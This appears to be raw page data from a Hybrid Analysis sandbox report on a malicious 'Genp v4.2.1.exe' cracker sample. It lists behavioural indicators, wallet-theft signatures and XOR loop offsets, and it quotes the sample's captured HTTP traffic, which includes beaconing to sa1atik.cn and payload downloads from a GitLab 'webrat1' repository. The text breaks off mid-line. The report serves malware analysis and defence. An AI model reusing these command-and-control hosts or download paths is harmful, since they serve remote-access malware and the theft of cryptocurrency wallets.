26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 62:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T49d,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Marsilia.Generic Sample 5738fee27e66… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 5738fee27e66…. Malware family: Marsilia.Generic. Threat score 100/100. 12/27 AV engines flagged this file. 17 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","keywords":["Malicious","Marsilia.Generic","malware analysis","sandbox report","threat intelligence","5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9"],"about":{"@type":"SoftwareApplication","name":"Genp v4.2.1.exe","applicationCategory":["peexe","autoit","executable"],"identifier":"5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Marsilia.Generic","antivirusDetections":{"malicious":12,"total":27},"behavioralIndicators":{"malicious":17,"suspicious":17},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T841,Found reference to API "IcmpSendEcho" (Indicator: "IcmpSendEcho"; File: "Genp v4.2.1.exe") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "Genp v4.2.1.exe") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "Genp v4.2.1.exe") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "Genp v4.2.1.exe") Found reference to API "SetTimer" (Indicator: "SetTimer"; File: "Genp v4.2.1.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "Genp v4.2.1.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp")28:T608,Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "Genp v4.2.1.exe") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "Genp v4.2.1.exe") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "Genp v4.2.1.exe") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "Genp v4.2.1.exe") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; File: "Genp v4.2.1.exe") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp, 00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp")29:T478,Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp")2a:T9db,"svchost.exe" queried SystemProcessInformation at 00000000-00001656-00000C15-2966113229 [PID: 1656] "svchost.exe" queried SystemProcessInformation at 00000000-00001656-00000C15-2966124628 [PID: 1656] "svchost.exe" queried SystemProcessInformation at 00000000-00001656-00000C15-2966421066 [PID: 1656] "svchost.exe" queried SystemProcessInformation at 00000000-00001656-00000C15-2966427571 [PID: 1656] "svchost.exe" queried SystemProcessInformation at 00000000-00001656-00000C15-2967422402 [PID: 1656] "svchost.exe" queried SystemProcessInformation at 00000000-00001656-00000C15-2967432378 [PID: 1656] "svchost.exe" queried SystemProcessInformation at 00000000-00001656-00000C15-2968094797 [PID: 1656] "svchost.exe" queried SystemProcessInformation at 00000000-00001656-00000C15-2968101813 [PID: 1656] "svchost.exe" queried SystemProcessInformation at 00000000-00001656-00000C15-2969073646 [PID: 1656] "svchost.exe" queried SystemProcessInformation at 00000000-00001656-00000C15-2969083235 [PID: 1656] "svchost.exe" queried SystemProcessInformation at 00000000-00001656-00000C15-3012740564 [PID: 1656] "svchost.exe" queried SystemProcessInformation at 00000000-00001656-00000C15-3012747732 [PID: 1656] "svchost.exe" queried SystemProcessInformation at 00000000-00001656-00000C15-3012977507 [PID: 1656] "svchost.exe" queried SystemProcessInformation at 00000000-00001656-00000C15-3012984615 [PID: 1656] "svchost.exe" queried SystemProcessInformation at 00000000-00001656-00000C15-3016581252 [PID: 1656] "svchost.exe" queried SystemProcessInformation at 00000000-00001656-00000C15-3016589040 [PID: 1656] "OSPPSVC.EXE" queried SystemProcessInformation at 00000000-00005880-00000C15-3017648271 [PID: 5880] "OSPPSVC.EXE" queried SystemProcessInformation at 00000000-00005880-00000C15-3017656634 [PID: 5880] "OSPPSVC.EXE" queried SystemProcessInformation at 00000000-00005880-00000C15-3017906649 [PID: 5880] "OSPPSVC.EXE" queried SystemProcessInformation at 00000000-00005880-00000C15-3017913331 [PID: 5880] "OSPPSVC.EXE" queried SystemProcessInformation at 00000000-00005880-00000C15-3018489774 [PID: 5880] "OSPPSVC.EXE" queried SystemProcessInformation at 00000000-00005880-00000C15-3018496408 [PID: 5880] "OSPPSVC.EXE" queried SystemProcessInformation at 00000000-00005880-00000C15-3018733339 [PID: 5880] "OSPPSVC.EXE" queried SystemProcessInformation at 00000000-00005880-00000C15-3018741312 [PID: 5880] "OSPPSVC.EXE" queried SystemProcessInformation at 00000000-00005880-00000C15-3019205473 [PID: 5880]2b:T337f,Contains base64 string in header "http" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 88Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "client/1" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 88Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "1Content" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 88Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Type" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 88Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "streamAccept" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 88Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Encoding" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 88Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "gzip" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 88Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "http" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 346Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "client/1" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 346Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "1Content" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 346Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Type" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 346Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "streamAccept" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 346Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Encoding" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 346Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "gzip" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 346Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "http" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 75Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "client/1" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 75Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "1Content" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 75Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Type" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 75Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "streamAccept" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 75Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Encoding" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 75Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "gzip" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 75Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "http" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 80Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "client/1" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 80Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "1Content" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 80Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Type" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 80Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "streamAccept" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 80Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Encoding" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 80Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "gzip" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 80Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "http" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 79395Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "client/1" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 79395Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "1Content" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 79395Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "79395Content" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 79395Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Type" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 79395Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "streamAccept" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 79395Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Encoding" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 79395Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "gzip" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 79395Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "http" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 83Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "client/1" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 83Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "1Content" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 83Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Type" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 83Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "streamAccept" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 83Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Encoding" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 83Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "gzip" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 83Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "/webrat1/importantfiles/" in header "GET /webrat1/importantfiles/-/raw/main/7z.dll HTTP/1.1Host: gitlab.comConnection: Keep-Alive" Contains base64 string in header "/raw/main/7z" in header "GET /webrat1/importantfiles/-/raw/main/7z.dll HTTP/1.1Host: gitlab.comConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /webrat1/importantfiles/-/raw/main/7z.dll HTTP/1.1Host: gitlab.comConnection: Keep-Alive" Contains base64 string in header "/webrat1/importantfiles/" in header "GET /webrat1/importantfiles/-/raw/main/7z.exe HTTP/1.1" Contains base64 string in header "/raw/main/7z" in header "GET /webrat1/importantfiles/-/raw/main/7z.exe HTTP/1.1" Contains base64 string in header "/webrat1/importantfiles/" in header "GET /webrat1/importantfiles/-/raw/main/MSTSCLib.dll HTTP/1.1" Contains base64 string in header "/webrat1/importantfiles/" in header "GET /webrat1/importantfiles/-/raw/main/AxMSTSCLib.dll HTTP/1.1" Contains base64 string in header "/raw/main/AxMSTSCLib" in header "GET /webrat1/importantfiles/-/raw/main/AxMSTSCLib.dll HTTP/1.1" Contains base64 string in header "/webrat1/importantfiles/" in header "GET /webrat1/importantfiles/-/raw/main/ffmpeg.exe HTTP/1.1" Contains base64 string in header "/raw/main/ffmpeg" in header "GET /webrat1/importantfiles/-/raw/main/ffmpeg.exe HTTP/1.1" Contains base64 string in header "http" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 84Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "client/1" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 84Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "1Content" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 84Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Type" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 84Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "streamAccept" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 84Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Encoding" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 84Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "gzip" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 84Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "POST" in header "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2Host: ton.access.orbs.networkUser-Agent: Go-http-client/2.0Content-Type: application/jsonAccept-Encoding: gzip" Contains base64 string in header "orbs" in header "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2Host: ton.access.orbs.networkUser-Agent: Go-http-client/2.0Content-Type: application/jsonAccept-Encoding: gzip" Contains base64 string in header "http" in header "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2Host: ton.access.orbs.networkUser-Agent: Go-http-client/2.0Content-Type: application/jsonAccept-Encoding: gzip" Contains base64 string in header "client/2" in header "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2Host: ton.access.orbs.networkUser-Agent: Go-http-client/2.0Content-Type: application/jsonAccept-Encoding: gzip" Contains base64 string in header "0Content" in header "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2Host: ton.access.orbs.networkUser-Agent: Go-http-client/2.0Content-Type: application/jsonAccept-Encoding: gzip" Contains base64 string in header "Type" in header "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2Host: ton.access.orbs.networkUser-Agent: Go-http-client/2.0Content-Type: application/jsonAccept-Encoding: gzip" Contains base64 string in header "Encoding" in header "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2Host: ton.access.orbs.networkUser-Agent: Go-http-client/2.0Content-Type: application/jsonAccept-Encoding: gzip" Contains base64 string in header "gzip" in header "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2Host: ton.access.orbs.networkUser-Agent: Go-http-client/2.0Content-Type: application/jsonAccept-Encoding: gzip"2c:T4e1,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains CRYPTO related strings Matched sigs: Able to access crypto-related API (String) Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains reference to crypto DLLs Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Reads the cryptographic machine GUID Matched sigs: Tries to steal Crypto currency wallets information (file access) Matched sigs: Calls an API typically used to decrypt data Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: HTTP requests contain Base64 strings Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: YARA signature match – Encryption algorithm2d:Tcefe,Found XOR loop in file "GenP-v4.2.1.exe" at offset 1318782; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 1336252; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 1383511; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 1629369; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 1660044; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 1862966; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 1878572; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 1917170; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 1926166; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 1985474; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 1994485; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2005842; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2029895; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2107227; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2142694; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2298305; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2381047; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2452750; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2490743; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2513045; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2532715; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2632329; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2695486; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2728776; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2747849; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2784657; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2828272; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2891432; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2892238; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3019933; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3099390; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3129172; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3265905; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3392947; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3537610; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3538569; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3744999; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3747272; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3820948; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3854504; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3875798; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3888000; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3944419; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4048330; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4229013; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4330348; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4339356; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4349090; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4519361; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4526931; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4548420; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4569460; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4705574; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4797885; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4879122; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4968626; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4979011; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4983381; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 5102904; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 5181093; code bytes = 30d0 Found XOR loop in file "GenP-v4.2.1.exe" at offset 146759; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 195446; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 195465; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 210040; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 259738; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 259802; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 553867; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 553900; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 553958; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 553991; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 710400; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 1041059; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 1064218; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 1074718; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 1270679; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 1472259; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 1507704; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 1790498; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2027073; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2045840; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2291300; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2488795; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2585409; code 